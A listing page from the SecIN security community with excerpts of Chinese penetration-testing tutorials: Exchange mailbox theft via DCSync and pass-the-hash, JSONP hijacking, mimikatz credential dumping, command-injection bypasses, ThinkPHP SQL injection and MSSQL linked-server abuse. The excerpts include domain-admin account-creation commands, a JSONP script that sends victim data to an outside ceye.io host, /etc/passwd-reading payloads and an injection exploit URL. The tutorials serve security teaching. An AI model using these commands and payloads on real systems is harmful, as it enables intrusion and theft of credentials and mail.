域渗透-Exchange利用 SecIN安全技术社区

域渗透-Exchange利用

在域中可能会遇到这种需求想读取域内某个用户的邮件,但是获取不到明文只能获取到hash,就可以使用该方法 首先利用dcsync获取域内所有hash:lsadump::dcsync /domain:redteam.com /all /csv 利用获取到的ntml hash本地注入一个cmd,利用cmd无需账户密码信息来进行收信 mimikatz.exe "privilege::debug" "sekurlsa::pth /user:用户 /domain:redteam.com /ntlm:hash /run:cmd" "exit" 工具:https://github.com/pentest-tools-public/Pass-to-hash-EWS 导入邮件所有内容: pth_to_ews.exe https://192.168.237.181/ews/Exchange.asmx -MType Inbox 远程拖收件箱 pth_to_ews.exe https://192.168.237.181/ews/Exchange.asmx -MType Inbox 远程拖发件箱 二、获取Exchange服务器权限的情况下导出邮件 在邮件服务器上打开Exchange Management Shell 打开 EMS 所需权限:Organization Management组成员 提升 'user' 用户为域管权限 and 加入 Organization Management组 net user user 123456 /add net group "domain admins" scarlet /add net group "Organization Management" scarlet /add Get-ManagementRoleAssignment查看有无 Mailbox Import Export的角色,新建一个 Exchange 角色组并将其添加到 Mailbox Import Export管理角色中 PS > New-RoleGroup –Name "Enterprise Mail Support" -Roles "Mailbox Import Export" -Members Administrator -Description "Import Export_Enterprise Support 创建网络共享文件夹稍后存放保存的邮件 一、获取所有用户邮件地址(导出格式CSV) Get-Mailbox -ResultSize Unlimited |select displayname,PrimarySmtpAddress |Export-Csv -Encoding utf8 all-email.csv -NoTypeInformation 二、导出指定用户所有邮件 New-MailboxExportRequest -Mailbox...
阅读全文
vulnhub-hackeme2 SecIN安全技术社区

vulnhub-hackeme2

靶机描述 'hackme2' is a medium difficulty level box. This is the second part of the hackme series where more controls are in place do deter malicious attacks. In addition, you will have to think out of the box to exploit the vulnerabilites. The goal is to gain limited privilege access via web vulnerabilities and subsequently, privilege escalate as a root user. The lab was created to mimic real world web vulnerabilities.    'hackme2' uses DHCP and in the possible event that the mysqld shuts down on its own (very rare cases), attempt to force restart the machine and it should...
阅读全文
JSONP从漏洞原理到漏洞挖掘 SecIN安全技术社区

JSONP从漏洞原理到漏洞挖掘

什么是JSONP劫持漏洞 要了解jsonp接触漏洞,我们需要先了解这个概念: 同源策略 简单讲,同源策略指的是 只有同协议、同域名、同端口的服务可以传输数据,而不同的网站无法传输数据,用于保证我们传输数据的安全性。 简单说,就是你在A网站登录后的数据,在你登录B网站的时候,基于同源策略,A网站的数据并不会传输到B网站。 但是问题来了,在一些环境下,我们反而有这个需求:在不同源的情况下,我们需要传输数据,比如在登录百度贴吧的账号后,使用百度搜索,会自然而然的获取到你在贴吧登录时候的一些信息(就是举个例子哈~)。 这时候,jsonp这种跨域传输数据的方法就诞生了: 在html标签中,< script> 、<img>、< iframe> 等标签是允许进行资源的跨域获取的,因此利用这一点,我们就可以使用js调用我们想要的数据。 jsonp使用回调函数来在第三方网站调出我们的敏感信息,从而达到获取敏感信息的目的,常见的利用场景如下: 蓝队溯源,获取攻击者信息 获取用户敏感信息,执行进一步操作(绕过token找CSRF之类的) 传输用户数据信息(正常用途) jsonp 漏洞演示 在PHP环境下可以参考这个环境: jsonp_env,其实就相当于接收一个请求后返回相应的数据: php <?php header('Content-type: application/json'); $jsoncallback = htmlspecialchars($_REQUEST );//获取回调函数名 $json_data='({"hh":"1","name":"fsdfa"})'; echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据 ?> 这时候我们可以新建一个html,使用< script>可以跨域的特性,获取相应的数据并弹出: html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>JSONP劫持测试</title> </head> <body> < script type="text/javascript"> function callbackFunction(result) { alert(JSON.stringify(result)) } </script> < script type="text/javascript" src="http://127.0.0.1/jsonp_env/getUser.php?jsoncallback=callbackFunction"></script> </body> </html> 我们可以看到,在访问attack.html后,浏览器向getuser.php发送了请求数据的请求,并获了值进行返回,从而达到信息窃取的目的: 在真实的攻击场景,我们就可以使用js把敏感数据返回到我们的服务器,直接获取敏感数据,这里为了方便演示,我们使用ceye平台来使用DNS或者HTTP来接收敏感数据,把上面的html改造下: html < script type="text/javascript">function jsonp_1610359498402_9620(json){ alert(JSON.stringify(json)) new Image().src="http://xxxx6.ceye.io/" + JSON.stringify(json) } </script> < script src="https://pcw-api.xxxxx.com/passport/user/userinfodetail?area=tw&callback=jsonp_1610359498402_9620"></script> 效果如下: JSONP 漏洞挖掘 在JSONP挖掘中,并不是只有callback才会出现JSONP漏洞,我们可一自己构造调用,毕竟< script>标签不支持同源策略,只有没有referer等限制,就有可能存在漏洞。 使用火狐/谷歌浏览器打开开发者模式,选择Network,勾选Preserve log选项,防止干扰 在左下搜栏目寻找或者在可能存在jsonp的地方添加检索相应的关键字,访问目标相关网站即可。 同时,我们也可以尝试在一些敏感数据传输的参数重增加相应的关键字,也有可能有意外收获。 html jsonp jsoncb jsonpcb cb json jsonpcall jsoncall...
阅读全文
内网渗透之域内密码抓取方法总结 SecIN安全技术社区

内网渗透之域内密码抓取方法总结

一、mimikatz简介 mimikatz是法国人Gentil Kiwi编写的一款windows平台下的神器,它具备很多功能,其中最亮的功能是直接从lsass.exe进程里获取windows处于active状态账号的明文密码或hash散列值。 mimikatz的功能不仅如此,它还可以提升进程权限,注入进程,读取进程内存等等,mimikatz包含了很多本地模块,更像是一个轻量级的调试器,还有很多强大的功能,今天只介绍密码抓取这部分内容。 1、下载地址 https://github.com/gentilkiwi/mimikatz 2、运行环境 需要以管理员权限启动,否则执行命令会报错,如下: ``` mimikatz64.exe .#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / ## / Benjamin DELPY gentilkiwi ( [email protected] ) ## / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > http://pingcastle.com / http://mysmartlogon.com / mimikatz # privilege::debug ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061 mimikatz # privilege::debug ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061 mimikatz # ``` 也就能解释往往在内网渗透实战环境中为啥要先提权,才能运行mimikatz,如果有杀软的存在那么还需要对mimikazt作免杀处理,免杀则又是另外一门技术研究话题了。 3、使用命令 ``` privilege::debug # 提权 sekurlsa::logonpasswords # 抓取密码 ``` 二、Procdump简介 Procdump是一个轻量级的Sysinternal团队开发的命令行工具, 它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因,你还可以把它作为生成dump的工具使用在其他的脚本中。 1、下载地址 https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump 2、优点 不会被杀软查杀,省去了免杀的过程,加强了内网渗透抓取密码的效率,一般配合mimikazt使用来躲避杀软...
阅读全文
Vulnerability Guide - 命令执行漏洞从入门到放弃(一) SecIN安全技术社区

Vulnerability Guide - 命令执行漏洞从入门到放弃(一)

0x0a、基础 一、危害:控制参数,进行系统命令执行 二、原因:在程序工作的时候可能会调用一些系统执行命令函数,将我们的恶意代码输入到函数中,就造成了命令执行漏洞 三、常见的php命令执行函数 四、命令执行可能存在的地方 web源码、中间件等等 五、防御 敏感函数禁用、变量过滤或固定、waf产品 六、管道命令符 分号分割 || && & 分割 | 管道符 \r\n %d0%a0 换行 反引号解析 $() 替换 七、常见绕过方式 1、空格绕过 < 符号 cat<123 \t / %09 ${}{IFS} 其中{}用来截断,比如cat 会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串 2、黑名单绕过 a=l;b=s;$a$b base64 echo "bHM=" | base64 -d /?in/?s => /bin/ls 连接符 cat /etc/pass'w'd 未定义的初始化变量 cat$x /etc/passwd 3、长度限制绕过 wget>foo.>comls -t>ash a 上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令这里可以使用一些诸如w, 一个在括号内的字符,e.g. < - > 在编码顺序内的所有字符 一个不在括号内的字符 防御 不使用时禁用相应函数 尽量不要执行外部的应用程序或命令 做输入的格式检查 转义命令中的所有shell元字符 shell元字符包括 #&;`,|*?~<>^(){}$\ 0x0b、利用 1、low windows命令: whoami、 netstat -ano、 net user、ping、type、cat、dir 1、whoami/groups 命令查看我们当前的权限 2、systeminfo 命令查看系统已打的补丁 3、arp -a 查看arp缓存 4、route print 查看路由表 5、netstat -ano 查看本机所有的TCP\UDP端口以及对应的pid 6、 tasklist 查询进程信息 7、net user 查看本机用户列表8、net localgroup administrators 获取本地管理员信息 命令连接符:&&(执行command1,成功后再执行 command2)...
阅读全文
Vulnerability Guide - 文件上传漏洞 SecIN安全技术社区

Vulnerability Guide - 文件上传漏洞

0x0a 基础 一、思路: 危害+原因+利用+修复+讲解(例题分析) 二、危害: 利用上传的恶意文件可以对整个网站的服务器进行控制,上传webshell脚本后门 三、常见语言和函数 语言:文件包含漏洞在php web application中居多 而在JSP,ASP,ASP NET程序中都非常少 include():包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。 require():包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。 include_once():和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。 require_once():和 require 类似,不同处在于 require_once 只导入一次。 四、常见利用方式 一、黑名单部分 1、特殊解析后缀 2、.htaccess解析 3、大小写绕过 4、点绕过 5、空格绕过 6、::$DATA绕过 7、配合解析漏洞 8、双后缀名绕过 二、白名单部分 1、mime信息绕过 2、%00截断(有条件限制) 原理:00表示结束符 所以会把00后面的所有字符都删除 使用条件:PHP版本小于 5.3.4 PHP的magic+quotes_gpc为OFF状态。长度限制:windows长度 256 linux长度 4000+ %00阶段的另外一种使用途径 :通过burp抓包之后 对%00进行url编码,在进行绕过 3、0x00截断 4、0x0a截断 其他部分:文件头检测。二次渲染。条件竞争。突破getimagesize。突破exif_imagesize 0x0b、利用 5.1 low 漏洞分析: 没有任何过滤 ,可以直接使用图片马进行getshell ```php <?php if( isset( $_POST< 'Upload' > ) ) { // Where are we going to be writing to? //这里没有任何过滤, $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES< 'uploaded' >< 'name' > ); // Can we move the file to...
阅读全文
Vulnerability Guide - SQL 从入门到放弃 SecIN安全技术社区

Vulnerability Guide - SQL 从入门到放弃

0x0a、SQL注入基础 sql注入三要素:未严格进行过滤 恶意修改 执行语句 sql注入思路:1、信息收集 2、数据注入 3、权限提升 4、高权利用 注入存在的提交方式:$_GET $_POST $_COOKIE REQUEST HTTP头 等 常见闭合判断(判断是否存在注入点): 常见的闭合符号 :' " ') ") %) % } 也可以判断是否存在注入点 mysql数据库基础知识 相关表单知识 SCHEMATABLESCOLUMNS SCHEMA_NAME TABLE_NAME COLUMN_NAME mysql基础知识 mysql注释:# 、–、/**/ 、%23等等 mysql函数:user() 获取用户名、version()获取版本、database()获取数据库 MySql其他函数参考 like ‘ro%’ #判断 ro或ro 是否成立 regexp ‘^ro’ #匹配ro及ro等 if((条件),1,0) #条件成立 返回1 反之 返回0 sleep(5) #sql语句延时执行时间5s mid(a,b,c) #从位置b开始,截取a字符串 c位数 substr(a,b,c) #从b位置开始,截取字符串a的c长度 常用 left(database(),1),database() # left(a,b) 从左侧截取a的前b位 length(database())=8 #判断数据库database() 名的长度 ord=ascii ascii(x)=97 #判断x的ascii码是否等于97 0x0b、常见的注入方式 一、 联合注入union select(有回显) > 使用语法:union select 1,payload(),3 sql //查询数据库名 ?id=-1 union select 1,(select group_concat(scheme_name) from information_schema.schemata),3 # //解释为什么这个地方要使用-1。 看一下在数据库中的例子:select * from users where ‘id’=-1 union select 1,(select group_concat(scheme_name) from information_schema.schemata),3 #...
阅读全文
Code Security Guide -Thinkphp3.2开发 SecIN安全技术社区

Code Security Guide -Thinkphp3.2开发

一、Thinkphp安装基础 1.1安装ThinkPHP Thinkphp ->MVC结构 ->model(数据库) ->view(显示) ->comtrol(逻辑结构控制) Thinkphp 版本:3.2.3,解开压缩包之后,准备好我们thinkphp需要的文件 ThinkPHP和 index.php 设置index.php配置文件 测试网站打开效果,在浏览器中输入域名看到根目录自动生成一个APP文件夹 更改Admin中的配置文件 1.2框架学习 路由方式: ```url www.tp3.com/index.php/home/index/index http://www.tp3.com/index.php?m=home&?c=Index&?a=index ``` 1.3ThinkPHP模板的显示调用 模板的保存位置在APP->Home-> View,我们创建的IndexController.class.php中的函数,必须对应一个View->Index文件夹(名字一定要正规,要不然在Linux系统中无法显示)。修改IndexController.class.php,确定函数为Index 如果View->Index文件夹下没有index.html的话,那我们访问网页就会出现这种效果 制作HTML界面,将前端头部代码放到common中。并且在IndexController中修改好调用函数 PUBLIC_ 常量 代表/Public目录名,一般在ThinkPHP中出现是我们存储js,img的文件夹 1.4ThinkPHP 数据库部署 1.4.1 开启调试 //开启调试模式(这个在后面必用,那我们就事先准备好) php // 开启调试模式 建议开发阶段开启 部署阶段注释或者设为false define('APP_DEBUG',True); 1.4.2 操作数据库 准备一个数据库,写入部分数据备用 1.4.3将数据库的配置代码复制到APP->Conf->Config.php中 1.5 前端页面加强 分页展示界面(index.html) 1.5.1 让前端页面做一个分页展示,在thinkphp手册里有相关的代码 ```php //这里M表示连接数据库Comment表 thinkPHP自带函数 $comment = M('Comment');//这个分页数来自config.php //查询满足要求的总记录数 $count = $comment->count(); //实例化分页类,传入总记录数和没分页显示的记录数($limit) $Page = new \Think\Page($count,$limit); //分页显示输出 $show = $Page->show(); //进行分页数据查询 注意limit方法的参数要使用page类的属性 $list = $comment->order('id desc')->limit($Page->firstRow.','.$Page->listRows)->select(); $this->assign('data',$list);// 赋值数据集 $this->assign('page',$show);// 赋值分页输出 $this->display(); // 输出模板 ``` 1.5.2前端 index.html页面循环 1.5.3 更改页面脚 1.5.4 发布留言界面 pub.html 获取系统IP 在HOME文件夹->Common->创建functions.php 存储get_client_ip代码 ```php <?php /* * Created by leso / function...
阅读全文
Code Security Guide-Thinkphp3.2.3框架安全分析+exp注入(一) SecIN安全技术社区

Code Security Guide-Thinkphp3.2.3框架安全分析+exp注入(一)

0x01 Thinkphp 3.2.3 安装配置 1.1 环境 版本:Thinkphp full.zip php环境版本5.6以上 服务器环境:phpstudy 使用工具:xdebug 、phpstorme 1.2 打开 TP 调试开关 设置定义应用目录,可以调整成我们自己设置的数据库。接着打开调试模式, 定义我们要用的应用目录,在前面得文章中讲过。这里不多赘述。 设置数据库 在ThinkPHP->Conf->convention.php文件夹下 复制我们的数据库设置代码,代码复制到Home->Conf->config.php下 配置控制器 修改IndexController.class.php内的代码。这个数据库是之前搞过二次开发的数据库。 1.3 打开日志设置 开启调试追踪 'SHOW_PAGE_TRACE'=>true,在config.php下(之前修改数据库操作的.php文件) 就会出现下面这种情况:可以看到数据的回显。 0x02 ThinkPHP 数据库操作分析 数据库操作路线: 1、M() 函数会自动创建一个new model类 并且实例化一个对象返回此资源 2、如果实例化comment 对象调用了where方法同时格式化处理然后会调用-->$options 3、对$options做一次分析: 4、接下来会调用find()方法,find()方法会先给‘user’对象的一个成员变量$options赋值,limit=1。然后进入select() 5、select()方法会直接buildselectsql() 直接看源码进行分析 准备的控制器: 按照我们上面的路线一步一步调试过来,分析一下数据库的操作 M()函数 实例化一个comment对象 M()->where()->find() where()函数 where方法使用字符条件,并且支持预编译。 也就是说:普通的注入("id=%d and username='%s' and xx='%f'")然后会直接ThinkPHP都会进行escape_string处理 注意: mysql_escape_string() 并不转义 % 和 _。 本函数和 mysql_real_escape_string() 完全一样,除了 mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string() 并不接受连接参数,也不管当前字符集设定。 mysql_escape_string() 的作用和addslashes的作用差不多 分析find()函数 find()-->parseOptions()-->select()最后才创建buildselectsql() 函数。 1、 接着进入到options()中 主要作用就是获取操作的表名,查看是否有取别名获取操作的模型,比对当前表的数据库字段是否一致,如果有不一致的字段$this->options parseType() 功能是对数据类型进行检测 并强制转换. select() 执行 $this->db->select( options) buildSelectSql() db-select()->buildSelectSql() 分页操作,最后直接执行pareSql(). parseSql函数 函数调用了str_replace()对sql语句做了一次安全检查 pareSql() ->parseTable() parseWhere()方法分析,,这里进行拼接字符串,parseKey()过滤,然后返回 parWhereItem()函数 ,这里是个重点接下来两个漏洞利用都与这有关系 parseValue() -->用来判断传进来的是数组还是字符串。然后根据不同调用escapeString() 方法。 最后生成sql语句 0x03 总结分析 分析完之后能看到 在parWhereItem()函数里 明显就有两个漏洞生成。后面的文章会先对这两个漏洞进行分析。...
阅读全文
Code Security Guide-Thinkphp3.2.3数据库内核漏洞(二) SecIN安全技术社区

Code Security Guide-Thinkphp3.2.3数据库内核漏洞(二)

0x01、ThinkPHP环境 ThinkPHP版本:Thinkphp3.2.3 full.zip phpstudy PHP 5.6 xdebug phpstorme 0x0a、ThinkPHP 3.2.3 updatexml注入(bind注入) 漏洞利用:在函数think_filter() 处 存在过滤不完全的漏洞,造成注入漏洞。updataxml报错注入利用的流程是M->where() ->save() 利用的exp: url http://www.tp3.com/index.php/home/index/index?username=bind&username=0 and 1=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456 一、漏洞利用复现 一、环境准备 在数据库里新建了一个user表 修改控制器代码 测试 输入username=aaaaa&password=1111,修改一下密码验证一下代码运行 二、exp测试 利用的exp //index.php/home/index/index?username=bind&username=0&password=123456 //测试一个%27 index.php/home/index/index?username=bind&username=0%27&password=123456 //回显: UPDATE `user` SET `password`='123456' WHERE `username` = '123456'' //明显发现存在sql注入漏洞 php //updatexml报错注入使用 and updatexml(1,concat(0x3a,(user()),1))%23 //exp http://www.tp3.com/index.php/home/index/index?username=bind&username=0%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456 回显的页面为 分析一下源码 M()函数前面都分析过 ,分析烂了。直接运行到where() $where以数组的形式接受了username赋值给了options update()->parseSet()、parseSet()函数在对$data传值之后$key=password 、$val="123456" is_scalar函数判断val是否为标量。标量是指int、float、string、Boolean 类型的变量。(仅仅做了一个标量检测) php protected function parseSet($data) { foreach ($data as $key=>$val){ if(is_array($val) && 'exp' == $val){ $set = $this->parseKey($key).'='.$val; }elseif(is_null($val)){ $set = $this->parseKey($key).'=NULL'; }elseif(is_scalar($val)) {// 过滤非标量数据 if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){ $set = $this->parseKey($key).'='.$this->escapeString($val); }else{ $name = count($this->bind); $set = $this->parseKey($key).'=:'.$name; $this->bindParam($name,$val); } } } return '...
阅读全文
MSSQL渗透测试:违规使用链接数据库 SecIN安全技术社区

MSSQL渗透测试:违规使用链接数据库

原文信息 地址:https://www.hackingarticles.in/mssql-for-pentester-abusing-linked-database/ 作者:Raj Chandel 标题:MSSQL for Pentester: Abusing Linked Database 日期:2021 年 9 月 11 日 这篇文章是我们的MSSQL渗透测试系列的另一个补充。在这篇文章中,我们将学习如何创建一个链接服务器并利用它。 内容一览表 链接服务器简介 实验环境配置 利用链接服务器 枚举 使用PowerUpSQL和Metasploit进行代码执行 链接服务器简介 一个链接的服务器作为两个服务器之间的桥梁。通过一个链接,服务器数据库可以被两个或更多可以访问上述数据库的服务器查看/共享/编辑。表中的数据可以被连接在一起,并通过它进行查询。链接服务器是为那些需要对数据的存储和检索方式有更多灵活性的应用而设计的。无论应用程序是使用并行处理、随机查询,还是在多个Microsoft Access文件之间进行连接,关联服务器都为灵活的应用开发提供了一个更好的平台。来自多个来源的数据可以被添加到一个表中,或者附加到现有的数据上。你可以使用一个链接服务器来代替一个普通的表,就像你在复制一个现有的数据库表时可能做的那样。 以下事情可以通过链接服务器来完成。 控制查询计划 改变列的数据类型 优化远程服务器上的查询 改变本地表的计划 访问远程表的数据 删除本地数据库上的对象 改变用于访问本地表的服务器 重新连接到一个链接的服务器 使用复制的参数 允许远程更新 实验环境配置 我们将首先建立一个链接服务器。 在安装MSSQL服务器时,会自行创建一个默认服务器。但是我们需要另一个服务器,这样我们就可以把它们两个联系起来。因此,要创建另一个服务器,启动安装程序,并选择“New SQL Server Stand-alone installation or and add features to an existing installation”(新的SQL Server独立安装或并向现有安装添加功能),如下图所示: 然后点击“Next”(下一步)按钮,如下图所示: 在对话框的下一个窗口中,选择“Perform a new installation of SQL Server 2016”(执行SQL Server 2016的新安装),然后单击“Next”(下一步)按钮,如下图所示: 在功能选择对话框中,选择要安装的功能,并给出实例的路径。然后,点击“Next”(下一步)按钮,如下图所示: 在实例配置对话框中,给出服务器的名称,然后单击“Next”(下一步)按钮,如下图所示: 在“服务器配置”对话框中,确保启动是自动的,然后单击“Next”(下一步)按钮,如下图所示: 在“数据库引擎配置”对话框中,选择“身份验证模式”下的“混合模式”,并给出服务器的密码。点击“Next”(下一步)按钮,如下图所示: 安装完成后,单击"Close"(关闭)按钮;如下图所示: 现在要连接到服务器,请在"Authentication"(身份验证)的下拉菜单中选择" <Browse for more> "(<浏览更多>)选项,如下图所示: 选择您的服务器,然后单击"OK"(确定)按钮,如下图所示: 正如您在下图中看到的,我们有两台服务器: 现在转到"server>Servere Objects>Linked Servers"(主服务器>服务器对象>链接服务器)。右键单击链接服务器,并从下拉菜单中选择"New Linked Server "(新建链接服务器)选项,如下图所示: 在“链接服务器”选项中,给出要链接的服务器的名称。在"Server Type"(服务器类型)中,选择"Other data source"(其他数据源)。从"Provider"(提供程序)的下拉菜单中选择“来自SQL Server的Microsoft OLE DB提供程序”。将默认服务器作为数据源,并在"Catalog"(目录)中给出数据库名称。最后,点击“OK”(确定)按钮,如下图所示: 在服务器选项中,确保RPC和RPC输出为真,如下图所示: 在“安全”选项卡中,给出默认服务器的用户名和密码,然后单击“确定”按钮,如下图所示: 完成所有这些后,将创建如下图所示的链接服务器: 利用链接服务器 枚举 现在我们的链接服务器已经准备好了。作为攻击者,我们对服务器一无所知。因此,为了枚举链接服务器,我们将使用PowerUpSQL及其以下命令: Import-Module .PowerUpSQL.ps1 Get-SQLServerLink -Username sa...
阅读全文